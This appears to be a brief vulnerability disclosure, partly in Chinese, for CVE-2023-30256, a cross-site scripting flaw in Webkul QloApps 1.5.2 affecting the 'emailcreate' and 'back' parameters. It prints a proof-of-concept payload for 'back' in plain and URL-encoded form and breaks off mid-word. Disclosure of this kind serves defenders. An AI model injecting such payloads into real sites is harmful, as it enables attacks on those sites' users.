CVE-2023-30256

Webkul Qloapps 1.5.2 - 跨站脚本攻击 XSS Webkul QloApps 1.5.2: 在两个参数 emailcreate 和 back 上存在 XSS 漏洞 漏洞利用 - 概念验证 POC XXS: 'back' 参数 root@kitploit: Payload Parameter back – Plain text: xss onfocus=alert1 autofocus= xss Payload Parameter back – URL Encoded: xss%20onfocus%3dalert1%20autofocus%3d%20xss Full G...